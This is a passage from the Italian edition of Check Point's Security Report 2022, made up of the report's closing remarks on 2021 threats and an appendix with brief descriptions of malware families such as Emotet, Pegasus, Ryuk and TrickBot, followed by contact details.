sotto attacco, gli attori delle minacce che hanno aumentato la loro attenzione sui

dispositivi mobili, la Colonial Pipeline tenuta in ostaggio e la ricomparsa di una

delle botnet più pericolose della storia.

Ma non è tutto negativo. Abbiamo anche visto crepe nell'ecosistema del

ransomware allargarsi nel 2021, in quanto i governi e le forze dell'ordine di

tutto il mondo hanno deciso di prendere una posizione più dura sui gruppi di

ransomware in particolare. Invece di affidarsi ad azioni reattive e correttive, alcuni

eventi scioccanti hanno svegliato i governi sul fatto che dovevano adottare un

approccio più preventivo e proattivo per affrontare il rischio informatico. Questa

stessa filosofia si estende anche alle aziende, che non possono più permettersi di

adottare un approccio disgiunto, a silos e reattivo per affrontare le minacce. Hanno

bisogno di una visibilità a 360 gradi, di informazioni in tempo reale sulle minacce

e di un'infrastruttura di sicurezza che possa essere mobilitata in modo efficace e

congiunto.

66CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 66CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

APPENDICE DESCRIZIONI DELLE FAMIGLIE MALWARE

67CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

AgentTesla AgentTesla è un RAT avanzato che funziona come keylogger e ruba password ed è attivo dal 2014. AgentTesla può monitorare e raccogliere l'input da tastiera della vittima e gli appunti di sistema, e può registrare screenshot ed esfiltrare le credenziali per una varietà di software installati sulla macchina della vittima (tra cui Google Chrome, Mozilla Firefox e il client di posta elettronica Microsoft Outlook). AgentTesla è venduto su vari mercati online e forum di hacking.

AlienBot AlienBot è un trojan bancario per Android, venduto clandestinamente come Malware-as-a-Service (MaaS). Supporta il keylogging, gli overlay dinamici per il furto di credenziali, così come la raccolta di SMS per il bypass 2FA. Ulteriori capacità di controllo remoto sono fornite utilizzando un modulo TeamViewer.

Bazar Scoperti nel 2020, Bazar Loader e Bazar Backdoor sono utilizzati nelle fasi iniziali dell'infezione dalla banda di criminali informatici WizardSpider. Il loader è responsabile del recupero delle fasi successive, e la backdoor è destinata alla persistenza. Le infezioni sono solitamente seguite da una distribuzione di ransomware su larga scala, utilizzando Conti o Ryuk.

CryptoBot CryptoBot è un cryptominer avanzato che raccoglie le informazioni del portafoglio e dell'account della vittima al momento dell'infezione. Nel dicembre 2021 CryptoBot è stato osservato in una campagna che ha preso di mira gli utenti con una copia pirata del sistema operativo Windows.

Cl0p Cl0p è un ransomware che è stato scoperto per la prima volta all'inizio del 2019 e prende di mira soprattutto le grandi aziende e le società. Nel corso del 2020, gli operatori di Cl0p hanno iniziato a esercitare una strategia di doppia estorsione, dove oltre a criptare i dati della vittima, gli aggressori minacciano anche di pubblicare le informazioni rubate a meno che non vengano soddisfatte le richieste di riscatto. Nel 2021 il ransomware Cl0p è stato utilizzato in numerosi attacchi in cui l'accesso iniziale è stato ottenuto utilizzando vulnerabilità zero-day in Accellion File Transfer Appliance.

DanaBot DanaBot è un trojan bancario modulare scritto in Delphi che prende di mira la piattaforma Windows. Il malware, che è stato osservato per la prima volta nel 2018,

68CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

viene distribuito tramite e-mail di spam dannose. Una volta che un dispositivo viene infettato, il malware scarica il codice di configurazione aggiornato e altri moduli dal server C&C. I moduli disponibili includono uno "sniffer" per intercettare le credenziali, uno "stealer" per rubare le password da applicazioni popolari, un modulo "VNC" per il controllo remoto, e altro.

DarkGate DarkGate è un malware multifunzione attivo da dicembre 2017 che combina ransomware, furto di credenziali e capacità di RAT e cryptomining. Prendendo di mira principalmente il sistema operativo Windows, DarkGate impiega una varietà di tecniche di evasione.

Dridex Dridex è un trojan bancario trasformato in botnet, che prende di mira la piattaforma Windows. Viene distribuito da campagne di spam e kit di exploit, e si basa su WebInjects per intercettare e reindirizzare le credenziali bancarie a un server controllato dall'attaccante. Dridex contatta un server remoto, invia informazioni sul sistema infetto e può anche scaricare ed eseguire moduli aggiuntivi per il controllo remoto.

Emotet Emotet è un Trojan avanzato, auto-propagante e modulare. Emotet una volta era usato per impiegare come trojan bancario, e ora è usato come distributore per altri malware o campagne maligne. Utilizza metodi multipli per mantenere la persistenza e tecniche di evasione per evitare il rilevamento. Inoltre, Emotet può anche essere diffuso attraverso e-mail di phishing spam contenenti allegati o link dannosi.

FluBot FluBot è un malware per Android distribuito tramite messaggi SMS di phishing (SMiShing), il più delle volte impersonando marchi di consegna logistica. Una volta che l'utente clicca sul link all'interno del messaggio, viene reindirizzato al download di una falsa applicazione contenente FluBot. Una volta installato, il malware ha varie capacità di raccogliere credenziali e sostenere l'operazione di smishing stessa, compreso il caricamento della lista dei contatti, così come l'invio di messaggi SMS ad altri numeri di telefono.

69CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

FlyTrap FlyTrap è un trojan Android costruito per rubare le credenziali di Facebook, la posizione, l'indirizzo email, l'IP e altro. Il trojan si è originariamente diffuso tramite false applicazioni Android su Google Play, incoraggiando gli utenti ad accedere al loro account Facebook. In questa fase FlyTrap utilizza l'iniezione di JavaScript per dirottare la sessione e invia i suoi dettagli al server C&C, permettendo agli aggressori di ottenere l'accesso all'account Facebook, da una posizione remota.

FormBook FormBook è un Infostealer che prende di mira il sistema operativo Windows ed è stato rilevato per la prima volta nel 2016. Viene commercializzato come Malware- as-a-service (MaaS) nei forum di hacking underground per le sue forti tecniche di evasione e il prezzo relativamente basso. FormBook raccoglie credenziali da vari browser web, raccoglie screenshot, monitora e registra le sequenze di tasti, e può scaricare ed eseguire file secondo gli ordini del suo C&C.

Glupteba Conosciuto dal 2011, Glupteba è una backdoor per Windows che è maturata gradualmente in una botnet. Entro il 2019 ha incluso un meccanismo di aggiornamento degli indirizzi C&C attraverso liste pubbliche di BitCoin, una capacità integrale di rubare il browser e un router exploiter.

Hiddad Malware Android che riconfeziona le app legittime e poi le rilascia in uno store di terze parti. La sua funzione principale è la visualizzazione di annunci, ma può anche ottenere l'accesso a dettagli di sicurezza chiave integrati nel sistema operativo.

IcedID IcedID è un trojan bancario che è emerso per la prima volta nel settembre 2017. Si diffonde tramite campagne di spam via mail e spesso utilizza altri malware come Emotet per aiutarlo a proliferare. IcedID utilizza tecniche evasive come l'iniezione di processi e la steganografia, e ruba i dati finanziari degli utenti sia tramite attacchi di reindirizzamento (installa un proxy locale per reindirizzare gli utenti a siti falsi clonati) che attacchi di web injection.

Kinsing Scoperto nel 2020, Kinsing è un cryptominer Golang con un componente rootkit. Originariamente progettato per sfruttare i sistemi Linux, Kinsing è stato installato

70CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

su server compromessi abusando delle vulnerabilità sui servizi rivolti a Internet. Più tardi, nel 2021, è stata sviluppata anche una variante Windows del malware, permettendo agli aggressori di aumentare la loro superficie di attacco.

LemonDuck LemonDuck è un cryptominer scoperto per la prima volta nel 2018, che prende di mira i sistemi Windows. Ha moduli di propagazione avanzati, tra cui l'invio di malspam, RDP brute-forcing e mass-exploitation attraverso vulnerabilità note come BlueKeep. Nel corso del tempo è stato osservato per raccogliere e-mail e credenziali, così come per consegnare altre famiglie di malware, come Ramnit.

LokiBot LokiBot è un infostealer di materie prime per Windows. Raccoglie credenziali da una varietà di applicazioni, browser web, client di posta elettronica, strumenti di amministrazione IT come PuTTY, e altro ancora. LokiBot è stato venduto sui forum di hacking e si crede che il suo codice sorgente sia trapelato, permettendo così l'apparizione di una serie di varianti. È stato identificato per la prima volta nel febbraio 2016.

Mirai Mirai è un famigerato malware Internet-of-Things (IoT) che rintraccia i dispositivi IoT vulnerabili, come telecamere web, modem e router, e li trasforma in bot. La botnet è utilizzata dai suoi operatori per condurre massicci attacchi DDoS (distributed denial-of-service). La botnet Mirai è emersa per la prima volta nel settembre 2016 e ha rapidamente fatto notizia a causa di alcuni attacchi su larga scala, tra cui un massiccio attacco DDoS utilizzato per mettere fuori uso l'intero paese della Liberia, e un attacco DDoS contro la società di infrastrutture Internet Dyn, che fornisce una parte significativa dell'infrastruttura Internet degli Stati Uniti.

MyloBot Mylobot è una sofisticata botnet che è emersa per la prima volta nel giugno 2018 ed è dotata di complesse tecniche di evasione tra cui tecniche anti-VM, anti-sandbox e anti-debugging. La botnet permette ad un attaccante di prendere il controllo completo del sistema dell'utente, scaricando qualsiasi carico aggiuntivo dal suo C&C.

71CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

NanoCore NanoCore è un trojan di accesso remoto che prende di mira gli utenti del sistema operativo Windows ed è stato osservato per la prima volta in natura nel 2013. Tutte le versioni del RAT contengono plugin di base e funzionalità come la cattura dello schermo, il mining di criptovalute, il controllo remoto del desktop e il furto della web

NRSMiner NSRMiner è un cryptominer che è emerso intorno a novembre 2018, ed è stato diffuso principalmente in Asia, in particolare in Vietnam, Cina, Giappone ed Ecuador. Dopo l'infezione iniziale, utilizza il famoso exploit SMB EternalBlue per propagarsi ad altri computer vulnerabili nelle reti interne e alla fine inizia a estrarre la criptovaluta Monero (XMR).

Pegasus Pegasus è uno spyware altamente sofisticato che prende di mira i dispositivi mobili Android e iOS, sviluppato dal gruppo israeliano NSO. Il malware è offerto in vendita, per lo più a organizzazioni e aziende legate al governo. Pegasus può sfruttare le vulnerabilità che gli permettono di effettuare il jailbreak silenzioso del dispositivo e installare il malware. Il malware infetta i suoi obiettivi attraverso diversi mezzi: Messaggi SMS di Spear phishing che contengono un link dannoso o un reindirizzamento URL, senza alcuna azione richiesta dall'utente ("Zero Click"), e altro ancora. L'app dispone di più moduli di spionaggio come la cattura di screenshot, la registrazione delle chiamate, l'accesso alle applicazioni di messaggistica, il keylogging e l'esfiltrazione della cronologia del browser.

Phorpiex Phorpiex (aka Trik) è una botnet (aka Trik) che è stata attiva dal 2010 e al suo picco controllava più di un milione di host infetti. È noto per la distribuzione di altre famiglie di malware tramite campagne di spam e per aver alimentato campagne di spam e sextortion su larga scala.

Qbot Qbot AKA QakBot è un trojan bancario apparso per la prima volta nel 2008. È stato progettato per rubare le credenziali bancarie e le sequenze di tasti di un utente. Spesso distribuito tramite e-mail di spam, Qbot impiega diverse tecniche anti-VM, anti-debugging e anti-sandbox per ostacolare l'analisi ed eludere il rilevamento.

Raccoon Raccoon infostealer è stato osservato per la prima volta nell'aprile 2019. Questo infostealer prende di mira i sistemi Windows e viene venduto come MaaS (Malware- as-a-Service) nei forum underground. Si tratta di un semplice infostealer in grado di raccogliere cookie del browser, cronologia, credenziali di accesso, portafogli di criptovalute e informazioni sulla carta di credito.

72CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

Ragnar Locker Ragnar Locker è un ransomware scoperto per la prima volta nel dicembre 2019. Utilizza sofisticate tecniche di evasione, tra cui la distribuzione come macchina virtuale su sistemi mirati per nascondere la sua attività. Ragnar è stato utilizzato in un attacco contro la società elettrica nazionale del Portogallo in un atto di doppia estorsione in cui gli aggressori hanno pubblicato dati sensibili rubati dalla vittima.

Ramnit Ramnit è un trojan bancario modulare scoperto per la prima volta nel 2010. Ramnit ruba le informazioni della sessione web, dando ai suoi operatori la possibilità di rubare le credenziali degli account per tutti i servizi utilizzati dalla vittima, compresi i conti bancari e gli account aziendali e dei social network. Il trojan utilizza sia domini hardcoded che domini generati da un DGA (Domain Generation Algorithm) per contattare il server C&C e scaricare moduli aggiuntivi.

RedLine Stealer RedLine Stealer è un Infostealer di tendenza ed è stato osservato per la prima volta nel marzo 2020. Venduto come MaaS (Malware-as-a-Service), e spesso distribuito tramite allegati di e-mail dannose, ha tutte le capacità dei moderni infostealer - raccolta di informazioni del browser web (dettagli della carta di credito, cookie di sessione e dati di completamento automatico), raccolta di portafogli di criptovalute, capacità di scaricare ulteriori payload, e altro ancora.

Remcos Remcos è un RAT che è apparso per la prima volta in natura nel 2016. Remcos si distribuisce attraverso documenti malevoli di Microsoft Office, che sono allegati alle e-mail di SPAM, ed è progettato per aggirare la sicurezza UAC di Microsoft Windowss ed eseguire malware con privilegi di alto livello.

RigEK Il più vecchio e più noto degli Exploit Kit attualmente operativi, RigEK è in circolazione dalla metà del 2014. I suoi servizi sono offerti in vendita sui forum di hacking e sulla rete TOR. Alcuni "imprenditori" rivendono anche infezioni a basso volume per quegli sviluppatori di malware non ancora abbastanza grandi da permettersi il servizio completo. RigEK si è evoluto nel corso degli anni per fornire qualsiasi cosa, da AZORult e Dridex a ransomware e cryptominer poco conosciuti.

73CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

RubyMiner RubyMiner è stato visto per la prima volta in natura nel gennaio 2018 e prende di mira sia i server Windows che Linux. RubyMiner cerca server web vulnerabili (come PHP, Microsoft IIS e Ruby on Rails) da utilizzare per il cryptomining, utilizzando il miner open source Monero XMRig.

Ryuk Ryuk è un ransomware utilizzato dalla banda TrickBot in attacchi mirati e ben pianificati contro diverse organizzazioni in tutto il mondo. Il ransomware è stato originariamente derivato dal ransomware Hermes, le cui capacità tecniche sono relativamente basse, e comprende un dropper di base e uno schema di crittografia semplice. Tuttavia, Ryuk è stato in grado di causare gravi danni alle organizzazioni bersaglio, costringendole a pagare riscatti estremamente elevati in Bitcoin. A differenza dei comuni ransomware, distribuiti sistematicamente tramite massicce campagne di spam e kit di exploit, Ryuk è utilizzato esclusivamente in attacchi su misura.

Snake Keylogger Snake Keylogger è un keylogger/infostratore modulare .NET. Emerso verso la fine del 2020, è cresciuto rapidamente in popolarità tra i criminali informatici. Snake è in grado di registrare le sequenze di tasti, prendere screenshot, raccogliere le credenziali e il contenuto degli appunti. Supporta l'esfiltrazione dei dati rubati tramite i protocolli HTTP e SMTP.

REvil REvil (aka Sodinokibi) è un Ransomware-as-a-service che gestisce un programma di "affiliati" ed è stato avvistato per la prima volta in natura nel 2019. REvil cripta i dati nella directory dell'utente e cancella i backup della copia ombra per rendere più difficile il recupero dei dati. Inoltre, gli affiliati di REvil utilizzano varie tattiche per diffonderlo, anche attraverso lo spam e gli exploit dei server, così come l'hacking nei backend dei fornitori di servizi gestiti (MSP), e attraverso campagne di malvertising che reindirizzano al kit di exploit RIG.

SparrowDoor SparrowDoor è una backdoor avanzata utilizzata dal gruppo APT FamousSparrow per spiare hotel, governi e altro. È stato individuato sfruttando la vulnerabilità Microsoft Exchange ProxyLogon intorno al marzo 2021. La backdoor viene caricata utilizzando DLL Hijacking combinato con un binario legittimo, per aiutare a bypassare i prodotti AV.

74CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

SunBurst SunBurst è la backdoor che è stata piantata all'interno del software di gestione IT Orion di SolarWinds durante il 2020, come parte del famigerato attacco alla supply chain, colpendo migliaia di organizzazioni in tutto il mondo. Si tratta di una backdoor persistente che ha fornito agli attaccanti un punto d'appoggio iniziale all'interno delle organizzazioni. Se le macchine infette superavano tutti i requisiti, e non contenevano vari servizi blacklisted o software AV, Sunburst avrebbe successivamente distribuito ulteriori impianti di memoria (come TearDrop) per l'esecuzione di comandi e capacità di movimento laterale.

Triada Triada, che è stato individuato per la prima volta nel 2016, è una backdoor modulare per Android che concede privilegi di amministratore per scaricare un altro malware. La sua ultima versione è distribuita tramite kit di sviluppo adware in WhatsApp per Android.

TrickBot TrickBot è un trojan bancario modulare, attribuito alla banda di criminali informatici WizardSpider. Per lo più consegnato tramite campagne di spam o altre famiglie di malware come Emotet e BazarLoader. TrickBot invia informazioni sul sistema infetto e può anche scaricare ed eseguire moduli arbitrari da una vasta gamma di moduli disponibili, tra cui un modulo VNC per il controllo remoto e un modulo SMB per la diffusione all'interno di una rete compromessa. Una volta che una macchina viene infettata, gli attori della minaccia dietro questo malware, utilizzano questa vasta gamma di moduli non solo per rubare le credenziali bancarie dal PC di destinazione, ma anche per il movimento laterale e la ricognizione sull'organizzazione stessa, prima di fornire un attacco ransomware mirato a livello aziendale.

Ursnif Ursnif è una variante del Trojan bancario Gozi per Windows, il cui codice sorgente è trapelato online. Ha capacità man-in-the-browser per rubare informazioni bancarie e credenziali per servizi online popolari. Inoltre, può rubare informazioni dai client di posta elettronica locali, dai browser e dai portafogli di criptovalute. Infine, può scaricare ed eseguire file aggiuntivi sul sistema infetto.

Vidar Vidar è un infostealer che prende di mira i sistemi operativi Windows. Rilevato per la prima volta alla fine del 2018, è progettato per rubare password, dati delle carte di credito e altre informazioni sensibili da vari browser web e portafogli digitali. Vidar viene venduto su vari forum online e utilizzato come malware dropper per scaricare il ransomware GandCrab come payload secondario.

75CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

WannaMine WannaMine è un sofisticato worm di cryptomining di Monero che diffonde l'exploit EternalBlue. WannaMine implementa un meccanismo di diffusione e tecniche di persistenza sfruttando le sottoscrizioni di eventi permanenti di Windows Management Instrumentation (WMI).

xHelper xHelper è un malware per Android che mostra principalmente annunci pop-up intrusivi e spam di notifica. È molto difficile da rimuovere una volta installato a causa delle sue capacità di reinstallazione. Osservato per la prima volta nel marzo 2019, xHelper ha ora infettato più di 45.000 dispositivi.

XMRig XMRig è un software open-source per il mining della CPU utilizzato per estrarre la criptovaluta Monero. Gli attori delle minacce spesso abusano di questo software open-source integrandolo nel loro malware per condurre il mining illegale sui dispositivi delle vittime.

ZLoader ZLoader è un malware bancario che utilizza webinjects per rubare credenziali e informazioni private, e può estrarre password e cookie dal browser web della vittima. Scarica VNC che permette agli attori della minaccia di connettersi al sistema della vittima ed eseguire transazioni finanziarie dal dispositivo dell'utente. Visto per la prima volta nel 2016, il trojan si basa sul codice trapelato del malware Zeus del 2011. Nel 2020, il malware è molto popolare tra gli attori delle minacce e comprende molte nuove varianti.

z0Miner Z0Miner, osservato per la prima volta nel novembre 2020 è un cryptominer che è stato trovato su migliaia di server sfruttando la falla WebLogic Server Remote Code Execution di Oracle. Il gruppo dietro Z0miner da allora ha approfittato della vulnerabilità RCE di Atlassian Confluence (CVE-2021-26084), per infettare altri server.

CONTATTI

HEADQUARTER MONDO 5 Ha’Solelim Street, Tel Aviv 67897, Israele Tel: 972-3-753-4555 | Fax: 972-3-624-1100

Email: info@checkpoint.com

HEADQUARTER STATI UNITI 959 Skyway Road, Suite 300, San Carlos, CA 94070

Tel: 800-429-4391 | 650-628-2000 | Fax: 650-654-4233

SOTTO ATTACCO? Contatta il nostro Incident Response Team:

emergencyresponse@checkpoint.com

CHECK POINT RESEARCH PODCAST Sintonizzati su cp<radio> per conoscere le ultime ricerche della CPR,

più il dietro le quinte e altri contenuti esclusivi. Vieni a trovarci su: https://research.checkpoint.com/category/cpradio/

W W W . C H E C K P O I N T . C O M

© 1994-2022 Check Point Software Technologies Ltd. Tutti i diritti riservati.

https://research.checkpoint.com/category/cpradio/ http://WWW.CHECKPOINT.COM